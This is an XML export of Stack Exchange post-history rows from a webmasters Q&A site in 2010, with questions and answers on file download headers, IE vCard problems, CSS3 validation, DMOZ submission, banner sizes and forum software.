  <row Id="13983" PostHistoryTypeId="2" PostId="6952" RevisionGUID="a30102e1-78fc-4cf5-b1a6-fcd369b2e6df" CreationDate="2010-12-09T22:11:56.263" UserId="32" Text="Well, there are some problems with what you have suggested: namely, different browsers and attachments means that users are going to be doing all sorts of things with attachments.&#xD;&#xA;&#xD;&#xA;The unsaid rule of thumb is to use the [correct mime-type][1], provide a download link, and let the user handle the rest.&#xD;&#xA;&#xD;&#xA;You go into a little bit of detail about the various (IE) dialogs that may be presented to users - but, the developer doesn't have control over this dialog, it is taken care of automatically. For example, in Chrome, the default action is to start (but not finish) the download and prompt the user down in the bottom download bar about it, there is no pop-up.&#xD;&#xA;&#xD;&#xA;Try to avoid those unnecessary details about dialogs, just provide them a link that does what the user would expect it to. The best policy when dealing with users is to make things as intuitive and easy for them as possible (users don't want to think about how to do things, they want it to &quot;just work&quot;). &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.webmaster-toolkit.com/mime-types.shtml" />
  <row Id="13984" PostHistoryTypeId="2" PostId="6951" RevisionGUID="eaa8ec56-43ed-48d0-ab69-ce8251a5b217" CreationDate="2010-12-09T21:39:03.993" UserId="3322" Text="When creating a website, depending on how a browsers Mime-Types are setup, downloading attachments can have different behaviors.   Is there a website that talks about this and suggests a rule-of-the-thumb  that should be taught to all web developers?&#xD;&#xA;&#xD;&#xA;For example, among these methods shown below (which doesnt account for all the possibilities) , which is preferred and why?&#xD;&#xA;&#xD;&#xA;1.  Click the download, prompt with &quot;Save or Open&quot; dialogue and if they choose &quot;open&quot; then open with the Windows default program.&#xD;&#xA;&#xD;&#xA;2.  Click the download, prompt with &quot;Save or Open&quot; dialogue, show a &quot;remember this&quot; checkbox, and then open using the webbrowser in a new window.&#xD;&#xA;&#xD;&#xA;3.  Click the download, auto detect the browser mime type and immediately open. Dont save unless they right-click the link and choose &quot;Save As&quot;." />
  <row Id="13985" PostHistoryTypeId="1" PostId="6951" RevisionGUID="eaa8ec56-43ed-48d0-ab69-ce8251a5b217" CreationDate="2010-12-09T21:39:03.993" UserId="3322" Text="What is the recommended way to handle opening attachments from a webpage?" />
  <row Id="13986" PostHistoryTypeId="3" PostId="6951" RevisionGUID="eaa8ec56-43ed-48d0-ab69-ce8251a5b217" CreationDate="2010-12-09T21:39:03.993" UserId="3322" Text="&lt;links&gt;&lt;windows&gt;&lt;save&gt;" />
  <row Id="13987" PostHistoryTypeId="17" PostId="6951" RevisionGUID="e9f8dbfc-8c45-47cb-8167-9a57360cfa27" CreationDate="2010-12-21T09:02:24.370" UserId="-1" Comment="from http://webapps.stackexchange.com/questions/10193/what-is-the-recommended-way-to-handle-opening-attachments-from-a-webpage" Text="" />
  <row Id="13988" PostHistoryTypeId="2" PostId="6953" RevisionGUID="148f9c37-55ad-4a5b-9e50-77a2946de861" CreationDate="2010-12-21T10:36:44.683" UserId="3307" Text="2 things:&#xD;&#xA;&#xD;&#xA;1. When you say Google is still index those pages, do you mean that they're still on Google or can you see Googlebot in your website logs?&#xD;&#xA;2. It might be that Google hasn't &quot;registered&quot; your robots.txt or your new sitemap and is still using the old one. I would definitely expect this of the sitemap, but not the robots.txt file." />
  <row Id="13989" PostHistoryTypeId="2" PostId="6954" RevisionGUID="82c8c3ac-5f99-4154-a910-a9b34fd9c580" CreationDate="2010-12-21T10:50:30.543" UserId="2293" Text="I completely agree with @rlb.usa said. You should just provide the link to the file and let user handle it as he wants / is used to.&#xD;&#xA;&#xD;&#xA;If you want to force files to be downloaded (for example, like a PDF, which can be read online if user has proper plugins), you can use some headers to handle that.&#xD;&#xA;&#xD;&#xA;In PHP:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    &lt;?php&#xD;&#xA;    // We'll be outputting a PDF&#xD;&#xA;    header('Content-type: application/pdf');&#xD;&#xA;    &#xD;&#xA;    // It will be called downloaded.pdf&#xD;&#xA;    header('Content-Disposition: attachment; filename=&quot;downloaded.pdf&quot;');&#xD;&#xA;    &#xD;&#xA;    // The PDF source is in original.pdf&#xD;&#xA;    readfile('original.pdf');&#xD;&#xA;    ?&gt;&#xD;&#xA;" />
  <row Id="13990" PostHistoryTypeId="2" PostId="6955" RevisionGUID="2d947a22-c484-446f-95d4-73325bf01f39" CreationDate="2010-12-21T11:05:37.337" UserId="4031" Text="You are working on a website for a client. He (the client) sends you a bunch of MS Word documents with text that you have to use in the website.&#xD;&#xA;&#xD;&#xA;Where do you store them?&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;Here's my approach.&#xD;&#xA;&#xD;&#xA;I'd store them on my local server along with the source files for the website. I'd use a folder named &quot;res&quot; (for &quot;resources&quot;).&#xD;&#xA;" />
  <row Id="13991" PostHistoryTypeId="1" PostId="6955" RevisionGUID="2d947a22-c484-446f-95d4-73325bf01f39" CreationDate="2010-12-21T11:05:37.337" UserId="4031" Text="Where do you store the resource files for your projects?" />
  <row Id="13992" PostHistoryTypeId="3" PostId="6955" RevisionGUID="2d947a22-c484-446f-95d4-73325bf01f39" CreationDate="2010-12-21T11:05:37.337" UserId="4031" Text="&lt;best-practices&gt;" />
  <row Id="13993" PostHistoryTypeId="2" PostId="6956" RevisionGUID="72754c27-792c-4dab-a2b8-3add1c1fd3d1" CreationDate="2010-12-21T11:11:07.383" UserId="2293" Text="On page SEO is related to content (quality, freshness, utility) and how it's wrapped into HTML elements.&#xD;&#xA;&#xD;&#xA;Wrapping/composing HTML is choosing right tags for content. It just doesn't makes sense, for example, wrap all text within one h1 element, you putting just text into a form with no field nor submit button.&#xD;&#xA;&#xD;&#xA;That said, I will repeat: use tables for tabular data. In this context they makes sense. In other contexts (like for making layout only), they don't.&#xD;&#xA;&#xD;&#xA;This kind of misuse is bad for SEO as content is not indexed properly - you can achieve a better on-page ranking through an enhanced, clean and straight to the point markup." />
  <row Id="13994" PostHistoryTypeId="5" PostId="6955" RevisionGUID="297c5d8b-d96b-4eb7-9f9d-c37d6c004388" CreationDate="2010-12-21T11:13:16.317" UserId="4031" Comment="deleted 14 characters in body" Text="You are working on a website for a client. He (the client) sends you a bunch of MS Word documents with text that you have to use in the website.&#xD;&#xA;&#xD;&#xA;Where do you store them?&#xD;&#xA;&#xD;&#xA;Here's my approach.&#xD;&#xA;&#xD;&#xA;I'd store them on my local server along with the source files for the website. I'd use a folder named &quot;res&quot; (for &quot;resources&quot;).&#xD;&#xA;" />
  <row Id="13995" PostHistoryTypeId="2" PostId="6957" RevisionGUID="e747f1af-194d-4194-be4e-994493bcd164" CreationDate="2010-12-21T11:16:23.493" UserId="1757" Text="Obviously I'm not an authority on these matters, given that I have no experience with this directly, but I have come across various tag management systems or universal tag or single-tag solution vendors in my research.&#xD;&#xA;&#xD;&#xA;Some of the vendors I've come across are Ubertags, Ensighten, Tagman, and SPIWEB. Web Analytics Demystified has published a whitepaper on the advantages of tag management systems, but it requires registration, which I can't find on their site. You can however get it from the Ensighten website by submitting your contact info." />
  <row Id="13996" PostHistoryTypeId="5" PostId="6955" RevisionGUID="a470f7ce-090a-46b8-8012-7d46c23e7883" CreationDate="2010-12-21T11:20:41.603" UserId="4031" Comment="deleted 7 characters in body" Text="You are working on a website for a client. He (the client) sends you a bunch of MS Word documents with text that you have to use in the website.&#xD;&#xA;&#xD;&#xA;Where do you store them?&#xD;&#xA;&#xD;&#xA;My approach would be to store them on my local server along with the source files for the website - in a folder named &quot;res&quot; (for &quot;resources&quot;).&#xD;&#xA;" />
  <row Id="13997" PostHistoryTypeId="2" PostId="6958" RevisionGUID="b1614131-4a65-4dcc-a8dd-c829d2206d5d" CreationDate="2010-12-21T11:45:04.297" UserId="221" Text="We use [JIRA][1] as an issue tracker. In the scenario you describe I'd open an issue on the update being requested and attach the Word document to the issue.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.atlassian.com/software/jira/" />
  <row Id="14001" PostHistoryTypeId="5" PostId="6937" RevisionGUID="399ead60-ff69-45a2-a13a-2982c229dcb4" CreationDate="2010-12-21T13:42:24.473" UserId="3021" Comment="added 1168 characters in body; added 45 characters in body" Text="On my company's website, we have various professionals listed with links to download their vcard. We want to include a link to the vcard in email signatures, however when clicking a link to a vcard contained in an email doesn't work in IE (IE displays a &quot;cannot download&quot; error).&#xD;&#xA;&#xD;&#xA;I've inspected the response from the webserver using Fiddler, and the vcard response is exactly the same when viewing the link on our website vs clicking the link in an email. Also confirmed that copy/pasting the link to a vcard into IE's address bar yields the same error as clicking the link in an email - IE won't open it.&#xD;&#xA;&#xD;&#xA;It almost seems as though IE can't open a vcard unless you click a link (on a website) to the vcard. Going directly to the vcard doesn't work.&#xD;&#xA;&#xD;&#xA;**EDIT:** We're seeing this issue with IE7 and IE8 only. Vcards open consistently with Firefox or Chrome.&#xD;&#xA;&#xD;&#xA;The server response is shown below (edited to remove personal identifying info). I ran a diff between successful and failed responses in Fiddler and the only difference was the timestamp in the Date and REV fields.&#xD;&#xA;&#xD;&#xA;    HTTP/1.1 200 OK&#xD;&#xA;    Cache-Control: no-cache, no-store&#xD;&#xA;    Date: Mon, 20 Dec 2010 21:16:43 GMT&#xD;&#xA;    Pragma: no-cache&#xD;&#xA;    Content-Length: 495&#xD;&#xA;    Content-Type: text/x-vcard; charset=utf-8&#xD;&#xA;    Expires: -1&#xD;&#xA;    Server: Microsoft-IIS/6.0&#xD;&#xA;    X-Powered-By: ASP.NET&#xD;&#xA;    X-AspNet-Version: 2.0.50727&#xD;&#xA;    Set-Cookie: website#lang=en; path=/&#xD;&#xA;    &#xD;&#xA;    BEGIN:VCARD&#xD;&#xA;    VERSION:2.1&#xD;&#xA;    N;LANGUAGE=en:LastName;FirstName;E.;;&#xD;&#xA;    FN:FirstName E. LastName&#xD;&#xA;    ORG:Company Name, LLP&#xD;&#xA;    TITLE:Attorney&#xD;&#xA;    TEL;PREF;WORK;VOICE:+1 999.999.9999&#xD;&#xA;    TEL;PREF;WORK;FAX:+1 999.999.9999&#xD;&#xA;    ADR;WORK;PREF:;;Suite 9999, 5555 Somewhere Street;Atlanta;GA;30309-4528;USA&#xD;&#xA;    URL;WORK:http://www.website.com&#xD;&#xA;    EMAIL;PREF;INTERNET:PERSON@Website.com&#xD;&#xA;    NOTE;ENCODING=QUOTED-PRINTABLE:Bar Admission(s) - Georgia (1900); Kentucky (1900)=0D=0A&#xD;&#xA;    REV:20101220T211643Z&#xD;&#xA;    END:VCARD&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="14002" PostHistoryTypeId="2" PostId="6959" RevisionGUID="f64e37a7-88b7-41b7-b969-7d3cfa4b5a18" CreationDate="2010-12-21T14:14:31.070" UserId="2293" Text="I think you can workaround this with a better HTTP headers manipulation.&#xD;&#xA;&#xD;&#xA;I'm still not sure what you are trying to do, but I think you can use HTTP headers to force and ensure the desired behavior.&#xD;&#xA;&#xD;&#xA;If you want a vcard to be downloaded and processed by IE or Outlook, first, provide them as a .vcf file - you can generate them on the fly, or generate them from a script and keep cached.&#xD;&#xA;&#xD;&#xA;Then you can handle vcards to be replyed with HTTP headers:&#xD;&#xA;&#xD;&#xA;    Content-Disposition: attachment; filename=personName.vcf&#xD;&#xA;    Content-Type: text/x-vcard; charset=utf-8; name=personName.vcf&#xD;&#xA;&#xD;&#xA;Once the file is provided with correct MIME type and with a valid filename and so on, client's machine will process them as they are intended to interpret.&#xD;&#xA;&#xD;&#xA;The unique issue since those measures are taken is if client machine does not have any relation to process that mime and extension (ie, Windows hasn't this configuration set).&#xD;&#xA;&#xD;&#xA;I just tried this with IE8, on http://www.haraldjoergens.com/ (see the footer). It worked nice." />
  <row Id="14003" PostHistoryTypeId="2" PostId="6960" RevisionGUID="f4b168da-cf7c-422c-84fd-86bec4c7a2dc" CreationDate="2010-12-21T14:57:06.607" UserDisplayName="JP19" Text="Overall its positive for an average website. Unique, fresh and relevant content is priceless for SEO :). There are many ways to fight spam other than moderating all comments. Some I can suggest:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;1) Automatic spam detection software&#xD;&#xA;&#xD;&#xA;2) Moderate only the first comment by a user.&#xD;&#xA;&#xD;&#xA;3) Have a  &quot;flag as spam&quot; button on the comments, so your users can flag spam comments (many variations, enhancements are possible here).&#xD;&#xA;&#xD;&#xA;and perhaps MOST important::&#xD;&#xA;&#xD;&#xA;4) Either do not allow any hyperlinks in the comments OR many them all nofollow.  This will prevent the class of spammers who are looking for just links (mind you - these are perhaps the most relevant class these days)." />
  <row Id="14004" PostHistoryTypeId="2" PostId="6961" RevisionGUID="f2af467d-c9fa-4a3a-bc6c-c47bb978e14a" CreationDate="2010-12-21T15:18:13.690" UserId="3562" Text="Two modules you'll probably want to help with this functionality: &#xD;&#xA;&#xD;&#xA;Content Profile @ http://drupal.org/project/content_profile&#xD;&#xA;Webform @ http://drupal.org/project/webform" />
  <row Id="14005" PostHistoryTypeId="5" PostId="6960" RevisionGUID="65fbed94-be64-4827-9f07-ff52364e4ef9" CreationDate="2010-12-21T15:21:03.077" UserDisplayName="JP19" Comment="deleted 68 characters in body; added 8 characters in body" Text="Overall its positive for an average website. Unique, fresh and relevant content is priceless for SEO :). There are many ways to fight spam other than moderating all comments. Some I can suggest:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;1) Automatic spam detection software&#xD;&#xA;&#xD;&#xA;2) Moderate only the first comment by a user.&#xD;&#xA;&#xD;&#xA;3) Have a  &quot;flag as spam&quot; button on the comments, so your users can flag spam comments (many variations, enhancements are possible here).&#xD;&#xA;&#xD;&#xA;and perhaps MOST important::&#xD;&#xA;&#xD;&#xA;4) Either do not allow any hyperlinks in the comments OR make them all nofollow.  This will save you from the class of spammers who are looking for just links." />
  <row Id="14006" PostHistoryTypeId="2" PostId="6962" RevisionGUID="45e8be3d-8c69-4486-8dee-f705a5b1f2e9" CreationDate="2010-12-21T15:21:42.673" UserId="3142" Text="I think there is value in storing them in an FTP-accessible directory for their site, calling it whatever... such as &quot;ClientProvided&quot; or &quot;SourceDocuments.&quot;&#xD;&#xA;&#xD;&#xA;Here is why:&#xD;&#xA;&#xD;&#xA; - Client, if they have FTP access, would unquestionably have access to the same docs they provided to you&#xD;&#xA; - Should you ever lose their account, or wish to fire them as a customer, everything is ready for transition to another web professional&#xD;&#xA;&#xD;&#xA;While some people might have the opinion that if you don't do business with them you won't care or need to give them such source material, I'm of the belief that it's easier to just hand everything over (within your terms and conditions). What you don't want is future repeated calls for a trickling out of more files, more history/info, and also any suggestion by the client or another firm that you are uncooperative.&#xD;&#xA;&#xD;&#xA;Like Kris suggested, JIRA and/or SVN could also be good places to put that data, but you might not want to hand over the contents of those, perhaps more internal and sensitive, forms of data." />
  <row Id="14008" PostHistoryTypeId="2" PostId="6964" RevisionGUID="d4dbac29-602e-43ca-bff8-70f5629336a3" CreationDate="2010-12-21T16:20:33.427" UserId="3718" Text="I'm currently building a project, and I'm writing the site using HTML5 and CSS3. I have validated the HTML and it passed first time (very pleased as it was my first time coding HTML5!). And then I went to validate the CSS. It failed validation. The validator indicated that the browser specific attributes in my code (gradient properties for use in Mozilla, Webkit, and Opera) had failed the validation. &#xD;&#xA;&#xD;&#xA;This leaves me in a bit of a catch 22 situation. I would like both the HTML and CSS to validate, but the whole point of using CSS3 for me was so that I could use gradients without cutting up images, as well as rounded corners. I have included the standard CSS3 rule for gradients and rounded corners, but as the new best and brightest browsers don't yet fully support it, I feel I should use these browser fixes.&#xD;&#xA;&#xD;&#xA;Should I ignore the validation result? Would it make a difference to my site on a usability and SEO point of view?" />
  <row Id="14009" PostHistoryTypeId="1" PostId="6964" RevisionGUID="d4dbac29-602e-43ca-bff8-70f5629336a3" CreationDate="2010-12-21T16:20:33.427" UserId="3718" Text="CSS3 Validation: Is it worth it?" />
  <row Id="14010" PostHistoryTypeId="3" PostId="6964" RevisionGUID="d4dbac29-602e-43ca-bff8-70f5629336a3" CreationDate="2010-12-21T16:20:33.427" UserId="3718" Text="&lt;css&gt;&lt;validation&gt;&lt;css3&gt;" />
  <row Id="14011" PostHistoryTypeId="2" PostId="6965" RevisionGUID="d406c10f-1bbd-4c6c-9ea1-0022ba6a6237" CreationDate="2010-12-21T16:26:02.223" UserId="1253" Text="Since CSS3 is not a completed spec and probably won't be for a while validating it is really a point in futility. If you want to use the new CSS features you're going to have to accept that your CSS isn't technically valid. &#xD;&#xA;&#xD;&#xA;Invalid CSS doesn't affect usability since users have no idea what CSS is much less if it's valid. As long as the results rendered in their browser don't inhibit their ability to use the site then you're fine (this applies to anything, not just CSS).&#xD;&#xA;&#xD;&#xA;And valid/invalid CSS has no effect on SEO whatsoever." />
  <row Id="14015" PostHistoryTypeId="2" PostId="6967" RevisionGUID="7c18893f-786d-404c-8d3f-a70f79ff4c73" CreationDate="2010-12-21T16:51:37.300" UserId="2293" Text="Keep in mind that CSS3 as well as HTML5 are still under development, so what is said to valid today can be no more tomorrow and vice-versa.&#xD;&#xA;&#xD;&#xA;But this is no reason to not use it if your concerns are usability and SEO. @John Conde gave a clear idea about that.&#xD;&#xA;&#xD;&#xA;You just need to make sure relative old browsers (there are many developers and entities dropping IE6 support. Check your intended audience) can display the website decently.&#xD;&#xA;&#xD;&#xA;Yeah, also keep in mind that your site doesn't need to display the same in every browser/platform. Just need to be decent. Who has better browsers will see better gradients, rounded corners, nice shadows, nice fonts...&#xD;&#xA;&#xD;&#xA;Last point I want to talk about is vendor extensions (-moz, -webkit, -o, -ms...). They are a **valid** way to use properties under testing, not fully supported (sometimes this is because spec isn't really stable yet). Using them along with the proper fallback rules should lead you to a valid code tomorrow, once the final rule will override the invalid/experimental-implementation ones." />
  <row Id="14016" PostHistoryTypeId="2" PostId="6968" RevisionGUID="07798876-b168-41a2-af07-e8cbfcd1dc62" CreationDate="2010-12-21T17:19:22.913" UserId="3307" Text="This question stems from [here][1]. This guy sounds like he's getting a bit annoyed with DMOZ, but I was wondering if it's even worth submitting there nowadays. Does anyone still use it as a search engine? &#xD;&#xA;&#xD;&#xA;I would say that time would be better spent on getting your SEO on to get higher in Google and (possibly) Yahoo/Bing.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/2997/time-to-wait-before-submitting-again-site-to-dmoz-org" />
  <row Id="14017" PostHistoryTypeId="1" PostId="6968" RevisionGUID="07798876-b168-41a2-af07-e8cbfcd1dc62" CreationDate="2010-12-21T17:19:22.913" UserId="3307" Text="Is it really worth submitting to DMOZ anymore?" />
  <row Id="14018" PostHistoryTypeId="3" PostId="6968" RevisionGUID="07798876-b168-41a2-af07-e8cbfcd1dc62" CreationDate="2010-12-21T17:19:22.913" UserId="3307" Text="&lt;seo&gt;&lt;bing&gt;&lt;dmoz&gt;" />
  <row Id="14019" PostHistoryTypeId="2" PostId="6969" RevisionGUID="bec6f59d-5c43-476d-9f67-40979bdeca06" CreationDate="2010-12-21T17:21:31.417" UserId="3307" Text="Have you asked on the Google supoprt forms or emailed Google themselves?" />
  <row Id="14021" PostHistoryTypeId="2" PostId="6970" RevisionGUID="9149392b-94e8-400c-96f9-46de42f7e367" CreationDate="2010-12-21T17:37:24.467" UserId="3535" Text="Good answers so far. Like John mentioned, the CSS wouldn't have any effect on SEO, doesn't even look at what's actually in the .css file (something to keep in mind when using css background images if the image is actually contextual). &#xD;&#xA;&#xD;&#xA;As Dave said, both CSS3 and HTML5 are still getting developed, and validating an HTML5 document on [http://validator.w3.org/][1] even gives you a disclaimer in the results: &#xD;&#xA;&#xD;&#xA;&gt; The validator checked your document&#xD;&#xA;&gt; with an experimental feature: HTML5&#xD;&#xA;&gt; Conformance Checker. This feature has&#xD;&#xA;&gt; been made available for your&#xD;&#xA;&gt; convenience, but be aware that it may&#xD;&#xA;&gt; be unreliable, or not perfectly up to&#xD;&#xA;&gt; date with the latest development of&#xD;&#xA;&gt; some cutting-edge technologies. If you&#xD;&#xA;&gt; find any issues with this feature,&#xD;&#xA;&gt; please report them. Thank you.&#xD;&#xA;&#xD;&#xA;To get some of the attributes you're going after with the CSS, you'd have to use the vendor extentions to get them working correctly, and if they're detected you'll automatically fail the validation, unless I'm mistaken.&#xD;&#xA;  [1]: http://validator.w3.org/" />
  <row Id="14022" PostHistoryTypeId="2" PostId="6971" RevisionGUID="c452285a-7f12-40b7-bc7f-5da625a18097" CreationDate="2010-12-21T17:38:31.970" UserId="3307" Text="What you could do is post an update to the users of the page saying that it's closing and that they should join the new page. You might lose some of them, but not all. I guess you could download the data from that page via the graph API so you have a record, and whilst you would be able to re-post them, they obviously wouldn't be from the original users.&#xD;&#xA;&#xD;&#xA;It might be worth emailing Facebook support to see if they might possible combine the groups, but considering that if they did it once they'd be setting a precedent so I doubt they will, but there's no harm in it.&#xD;&#xA;&#xD;&#xA;Otherwise, I suggest doing what I said in the first paragraph and hoping that the users move over. " />
  <row Id="14026" PostHistoryTypeId="2" PostId="6974" RevisionGUID="0dc3cf21-e602-4179-9a4d-b7aa6be94a3f" CreationDate="2010-12-21T18:16:26.527" UserDisplayName="David" Text="[Google's banners][1] are probably a good standard to start from.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.google.com/adsense/static/en_GB/AdFormats.html" />
  <row Id="14027" PostHistoryTypeId="2" PostId="6975" RevisionGUID="76391659-8dfc-4b4d-81eb-67c5d7809d0e" CreationDate="2010-12-21T18:18:30.310" UserDisplayName="Guffa" Text="You can find the most common standard sizes here: [Wikipedia: Web banner][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Web_banner" />
  <row Id="14028" PostHistoryTypeId="2" PostId="6973" RevisionGUID="9d540aad-438c-4363-a737-f8b0475b6f43" CreationDate="2010-12-21T18:13:43.713" UserDisplayName="ITg" Text="Many websites have advertising, do people know what the general/average/standard width of advertising areas and banner widths are?&#xD;&#xA;&#xD;&#xA;Thanks in advance" />
  <row Id="14029" PostHistoryTypeId="1" PostId="6973" RevisionGUID="9d540aad-438c-4363-a737-f8b0475b6f43" CreationDate="2010-12-21T18:13:43.713" UserDisplayName="ITg" Text="What are average advertising banner widths?" />
  <row Id="14030" PostHistoryTypeId="3" PostId="6973" RevisionGUID="9d540aad-438c-4363-a737-f8b0475b6f43" CreationDate="2010-12-21T18:13:43.713" UserDisplayName="ITg" Text="&lt;css&gt;&lt;ads&gt;" />
  <row Id="14031" PostHistoryTypeId="17" PostId="6973" RevisionGUID="bbc89215-e65b-4a6c-8c93-c2e9600558e9" CreationDate="2010-12-21T18:18:30.453" UserId="-1" Comment="from http://stackoverflow.com/questions/4502488/what-are-average-advertising-banner-widths" Text="" />
  <row Id="14032" PostHistoryTypeId="2" PostId="6976" RevisionGUID="922403cd-341d-4e1f-8a9a-7002a31f10e5" CreationDate="2010-12-21T18:24:33.427" UserId="4038" Text="You can find the most common standard sizes here: [Wikipedia: Web banner][1]&#xD;&#xA;&#xD;&#xA;As the height is easier to vary than the width in a layout, you will often find advertisers using variations where a standard width is chosen, like for example 250, and different heights are combined with that, like 250x125, 250x250, 250x375.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Web_banner" />
  <row Id="14033" PostHistoryTypeId="2" PostId="6977" RevisionGUID="6e8015cd-294a-4b09-b14d-f9dd4bd3d1a8" CreationDate="2010-12-21T18:25:30.887" UserId="1253" Text="Yes. Why? Because it's simple to do and it can be a relatively high quality link. Will it deliver a lot of traffic? probably not. But since it takes only a minute to do and will get you into Google's directory as well why not do it?" />
  <row Id="14034" PostHistoryTypeId="2" PostId="6978" RevisionGUID="a9e84ef8-9226-4c17-b47b-2849088fa894" CreationDate="2010-12-21T18:25:45.550" UserId="4020" Text="I didn't read the article but I'm also getting annoyed with DMOZ. As they look for other ways to earn money, I think the quality of the index is likely to go down.&#xD;&#xA;&#xD;&#xA;However, I still submit my sites to them. A link is a link. I just won't do anything special and am certainly not going to pay them." />
  <row Id="14038" PostHistoryTypeId="2" PostId="6979" RevisionGUID="350dab47-fa4d-42b4-8bb4-601c64d161c2" CreationDate="2010-12-21T18:28:50.327" UserId="4021" Text="Occasionally my site gets links directly to a sub-section of a page via a named anchor, e.g. /mypage.html#section1&#xD;&#xA;&#xD;&#xA;Does Google give this link equal weight as a link to /mypage.html?" />
  <row Id="14039" PostHistoryTypeId="1" PostId="6979" RevisionGUID="350dab47-fa4d-42b4-8bb4-601c64d161c2" CreationDate="2010-12-21T18:28:50.327" UserId="4021" Text="Does G! value links to a page's named anchors (#) as equal to links to the page w/o the anchor?" />
  <row Id="14040" PostHistoryTypeId="3" PostId="6979" RevisionGUID="350dab47-fa4d-42b4-8bb4-601c64d161c2" CreationDate="2010-12-21T18:28:50.327" UserId="4021" Text="&lt;seo&gt;&lt;links&gt;&lt;backlinks&gt;" />
  <row Id="14041" PostHistoryTypeId="2" PostId="6980" RevisionGUID="4582a9c4-936c-4755-8e37-fc10f687721d" CreationDate="2010-12-21T18:29:41.730" UserDisplayName="ITg" Text="Thanks all, unfortunately I can't select Best Answer " />
  <row Id="14042" PostHistoryTypeId="2" PostId="6981" RevisionGUID="48ee1129-385e-48b6-9f43-13b44d4ca304" CreationDate="2010-12-21T18:30:03.703" UserId="4021" Text="In my experience, submitting to DMoz works less than 1 in 10 times, but that's still better than most link building activities.  " />
  <row Id="14043" PostHistoryTypeId="4" PostId="6979" RevisionGUID="3a9ed7da-22ad-40e3-9346-726cddb57879" CreationDate="2010-12-21T18:30:27.470" UserId="1253" Comment="Edited title to use Google instead of G!" Text="Does Google value links to a page's named anchors (#) as equal to links to the page w/o the anchor?" />
  <row Id="14044" PostHistoryTypeId="6" PostId="6979" RevisionGUID="3a9ed7da-22ad-40e3-9346-726cddb57879" CreationDate="2010-12-21T18:30:27.470" UserId="1253" Comment="Edited title to use Google instead of G!" Text="&lt;seo&gt;&lt;google&gt;&lt;links&gt;&lt;backlinks&gt;" />
  <row Id="14045" PostHistoryTypeId="2" PostId="6982" RevisionGUID="1e48c07c-b5cc-4747-85fd-bec7b86131c1" CreationDate="2010-12-21T18:32:02.993" UserId="1253" Text="It doesn't affect the rankings. That only helps the browser identify a portion of the page so it can properly display it when the page loads.&#xD;&#xA;&#xD;&#xA;(If Google ever starts ranking portions of pages then it might come into play but for now that's just fun stuff to think about)." />
  <row Id="14046" PostHistoryTypeId="2" PostId="6984" RevisionGUID="ec58049c-1a49-4061-beb3-4f90bb504704" CreationDate="2010-12-21T18:32:18.080" UserDisplayName="Victor" Text="Well, [phpBB](http://www.phpbb.com/) is one you could try. It seems to be free." />
  <row Id="14047" PostHistoryTypeId="16" PostId="6984" RevisionGUID="ec58049c-1a49-4061-beb3-4f90bb504704" CreationDate="2010-12-21T18:32:18.080" UserId="-1" />
  <row Id="14048" PostHistoryTypeId="2" PostId="6983" RevisionGUID="d4fcde1e-b0f4-4716-b6b7-5c68b4905682" CreationDate="2010-12-21T18:21:12.353" UserId="3893" Text="I'm going to be setting up a few internet forums to test out the software.&#xD;&#xA;&#xD;&#xA;I was going to be doing this with vBulletin, but they don't let you download a trail version.&#xD;&#xA;&#xD;&#xA;&lt;br /&gt;&#xD;&#xA;Could anyone make any suggestions of any good forum packages and their advantages and disadvantages? (And maybe forum software in general pros and cons.)&#xD;&#xA;&#xD;&#xA;&lt;br /&gt;&#xD;&#xA;The forums will be hosted on a Ubuntu Linux virtual machine using Apache.&#xD;&#xA;&#xD;&#xA;&lt;br /&gt;&#xD;&#xA;Thank you for you help :) &#xD;&#xA;&#xD;&#xA;&lt;br /&gt;&#xD;&#xA;EDIT:&#xD;&#xA;&#xD;&#xA;I should also point out that one with better security would be desirable - although if I'm honest my expectations on that front are low :P" />
  <row Id="14049" PostHistoryTypeId="1" PostId="6983" RevisionGUID="d4fcde1e-b0f4-4716-b6b7-5c68b4905682" CreationDate="2010-12-21T18:21:12.353" UserId="3893" Text="Suggestions of internet forum software" />
  <row Id="14050" PostHistoryTypeId="3" PostId="6983" RevisionGUID="d4fcde1e-b0f4-4716-b6b7-5c68b4905682" CreationDate="2010-12-21T18:21:12.353" UserId="3893" Text="&lt;forum&gt;" />
  <row Id="14051" PostHistoryTypeId="17" PostId="6983" RevisionGUID="6c750567-d6a4-4bf1-91b1-e4ce6ea684c3" CreationDate="2010-12-21T18:38:06.580" UserId="-1" Comment="from http://stackoverflow.com/questions/4502561/suggestions-of-internet-forum-software" Text="" />
  <row Id="14052" PostHistoryTypeId="2" PostId="6985" RevisionGUID="29738b16-e01a-435c-b701-5b6c2047df63" CreationDate="2010-12-22T01:09:35.643" UserId="1170" Text="I'm very much a fan of [MyBB][1].&#xD;&#xA;In my experience, it runs faster than phpBB and SMF, and is easier to use than IPB / vBulletin (as well as cheaper).&#xD;&#xA;&#xD;&#xA;FluxBB / PunBB are also great light-weight alternatives. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.mybb.com/" />
  <row Id="14053" PostHistoryTypeId="16" PostId="6983" RevisionGUID="9d20999f-949b-496e-889a-2b08f02b2d45" CreationDate="2010-12-22T01:48:04.767" UserId="1253" />
  <row Id="14054" PostHistoryTypeId="2" PostId="6986" RevisionGUID="27fb0b2c-e381-4a19-af5b-06e81edc4640" CreationDate="2010-12-22T03:13:11.093" UserId="4047" Text="i am making a website that will have a big ammount of photos and images, where should i store these is a database an efficient option?&#xD;&#xA;&#xD;&#xA;thanks" />
  <row Id="14055" PostHistoryTypeId="1" PostId="6986" RevisionGUID="27fb0b2c-e381-4a19-af5b-06e81edc4640" CreationDate="2010-12-22T03:13:11.093" UserId="4047" Text="where to store images?" />
